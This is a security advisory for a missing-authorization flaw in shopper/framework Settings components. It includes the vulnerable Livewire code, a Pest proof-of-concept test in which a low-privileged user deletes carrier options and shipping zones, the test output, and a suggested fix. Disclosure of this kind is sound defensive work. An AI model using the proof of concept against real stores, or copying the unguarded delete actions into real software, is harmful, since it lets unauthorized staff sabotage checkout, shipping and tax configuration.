---
id: CVE-2026-56826
aliases:
  - GHSA-f7h9-qv4x-9x57
title: >-
  Shopping privilege escalation through missing authorization in Settings
  components
summary: >-
  Shopping privilege escalation through missing authorization in Settings
  components
severity: medium
cvss: 5.4
cwe:
  - CWE-862
vendor: shopper
product: shopper/framework
ecosystem: composer
affected:
  - 'shopper/framework >= 2.0.0, < 2.9.2'
patched:
  - shopper/framework 2.9.2
published: '2026-09-11'
updated: '2026-09-11'
sourceUpdated: '2026-09-11T21:28:21Z'
source: GHSA
sourceUrl: 'https://github.com/advisories/GHSA-f7h9-qv4x-9x57'
references:
  - url: >-
      https://github.com/shopperlabs/shopper/security/advisories/GHSA-f7h9-qv4x-9x57
  - url: 'https://github.com/advisories/GHSA-f7h9-qv4x-9x57'
tags:
  - ghsa
  - composer
ingestedAt: '2026-09-12T00:03:49.069Z'
---

## Overview

## Summary

Four Livewire components in the Settings area expose destructive Filament actions (`delete` / `edit`) that perform **no server-side authorization**. Any authenticated user who can reach the Settings pages — i.e. holding only the coarse `access_setting` permission, **without** being an admin and **without** any `delete_*`/`edit_*` permission — can delete tax zones, tax rates, shipping zones, and carrier (shipping-rate) options by invoking the component action directly over the Livewire endpoint.

These records sit on the storefront checkout path, so deleting them breaks shipping-rate calculation, removes region-scoped payment methods, and corrupts tax resolution at checkout.

This is inconsistent with the rest of the admin, where destructive actions are gated by granular permissions (e.g. `Settings/Locations/Index` uses `->authorize('delete_inventories')`, and `Order/Detail` gates mutating actions with `edit_orders`).

## Affected components

| Component | File | Unauthorized action |
|---|---|---|
| `Settings\Zones\ZoneShippingOptions` | `packages/admin/src/Livewire/Components/Settings/Zones/ZoneShippingOptions.php:47` | `delete` → `CarrierOption::query()->find($arguments['id'])->delete()` (id is client-supplied) |
| `Settings\Zones\Detail` | `packages/admin/src/Livewire/Components/Settings/Zones/Detail.php:46` | `delete` → `DeleteAction` on the bound `Zone` |
| `Settings\Taxes\Detail` | `packages/admin/src/Livewire/Components/Settings/Taxes/Detail.php:42` | `delete` → `DeleteAction` on the bound `TaxZone` |
| `Settings\Taxes\TaxRates` | `packages/admin/src/Livewire/Components/Settings/Taxes/TaxRates.php:97` | `delete` → `DeleteAction` on a `TaxRate` |

Each file contains **zero** `authorize` calls, and the actions declare neither `->authorize()` nor an enforced `->visible()` guard.

## Details

The Settings pages mount these as child Livewire components. The parent page authorizes `access_setting` (e.g. `Pages/Settings/Taxes.php:29`), but the child components do not re-check authorization, and their destructive actions carry no `->authorize()`. Because each Livewire component handles its own `/livewire/update` requests, the action executes purely on the page-level `access_setting` gate — there is no per-resource permission, and `delete_zones` / `delete_taxes` permissions are never even generated by the seeder (`packages/admin/database/seeders/PermissionsTableSeeder.php`).

`ZoneShippingOptions::deleteAction()` is the clearest case — it deletes by an id taken straight from the client action arguments with no scoping and no permission check:

```php
// packages/admin/src/Livewire/Components/Settings/Zones/ZoneShippingOptions.php
public function deleteAction(): Action
{
    return Action::make('delete')
        ->requiresConfirmation()
        // ... no ->authorize(), no ->visible()
        ->action(function (array $arguments): void {
            CarrierOption::query()->find($arguments['id'])->delete();   // client-controlled id
            // ...
        });
}
```

## Proof of Concept

Confirmed with the project's own test harness (Pest + Orchestra Testbench, SQLite) — the real Livewire/Filament code path, executed as a non-admin user holding only `access_setting`.

```php
use Livewire\Livewire;
use Shopper\Core\Models\{CarrierOption, Zone};
use Shopper\Livewire\Components\Settings\Zones\ZoneShippingOptions;
use Tests\Core\Stubs\User;

uses(Tests\Admin\TestCase::class);

it('low-priv access_setting user deletes a CarrierOption with no authorization', function (): void {
    $attacker = User::factory()->create();
    $attacker->givePermissionTo('access_setting');          // NOT admin, NO delete_* permission
    $this->actingAs($attacker, config('shopper.auth.guard'));

    $zone   = Zone::factory()->create();
    $option = CarrierOption::factory()->create(['zone_id' => $zone->id]);

    Livewire::test(ZoneShippingOptions::class, ['selectedZoneId' => $zone->id])
        ->callAction('delete', arguments: ['id' => $option->id]);

    expect(CarrierOption::query()->find($option->id))->toBeNull();   // deleted -> vulnerable
});
```

Result:

```
Attacker: isAdmin()=false, can('access_setting')=true, can('delete_zones')=false, can('edit_zones')=false
[BEFORE] CarrierOption count = 1  (target #1 'DHL Express' exists = YES)
[ATTACK] callAction('delete', id=1) on ZoneShippingOptions
[AFTER ] CarrierOption count = 0  (target #1 exists = NO -> deleted)

PASS  3 passed (11 assertions)
  ✓ CONTROL — Order/Detail::markPaid is correctly hidden without edit_orders (harness enforces declared authz)
  ✓ a CarrierOption is deleted by the low-priv user
  ✓ a shipping Zone is deleted by the low-priv user
```

The CONTROL case rules out a false positive: the same harness correctly denies `Order/Detail::markPaid` for a user lacking `edit_orders`, proving authorization is enforced when a component declares it — these four components simply declare none.

## Impact

A low-privileged staff member (or a compromised low-privileged account) can sabotage the storefront's checkout/revenue path without any delete permission:

- **Delete a `CarrierOption`** → that shipping rate disappears from checkout for the zone.
- **Delete a `Zone`** → removes the country → carrier/payment-method/currency mapping; customers shipping to those countries lose all shipping and payment options (`CarrierRateService::getRatesForZone` / `getManualRates` read these directly).
- **Delete a `TaxZone` / `TaxRate`** → `TaxCalculator::resolveZone()` can no longer resolve the zone, corrupting tax calculation at checkout.

Net effect: integrity and availability damage to live commerce configuration, performed by a principal who was never granted that authority (least-privilege violation).

## Secondary issue found while reproducing

`Zones\Detail::deleteAction()->after()` calls `$this->reset('zone')`, but `zone` is a `#[Computed]` method (not a property), so it throws `ReflectionException` **after** the row is deleted. Worth fixing alongside the authorization gap.

## Suggested remediation

Add an authorization check to each action, and ideally a `mount()` guard on each child component, matching the pattern already used in `Settings/Locations/Index.php` and `Team/RolePermission.php`:

```php
public function deleteAction(): Action
{
    return Action::make('delete')
        ->authorize('access_setting')   // or a new granular delete_zones / delete_taxes permission
        ->requiresConfirmation()
        // ...
}
```

Apply to the `delete` (and `edit`) actions in all four components. Consider also generating granular `*_zones` / `*_taxes` permissions so settings access can follow least privilege, and fix the `$this->reset('zone')` call in `Zones\Detail`.

## Affected packages

- `shopper/framework >= 2.0.0, < 2.9.2`

## Remediation

Upgrade to a patched release:

- `shopper/framework 2.9.2`
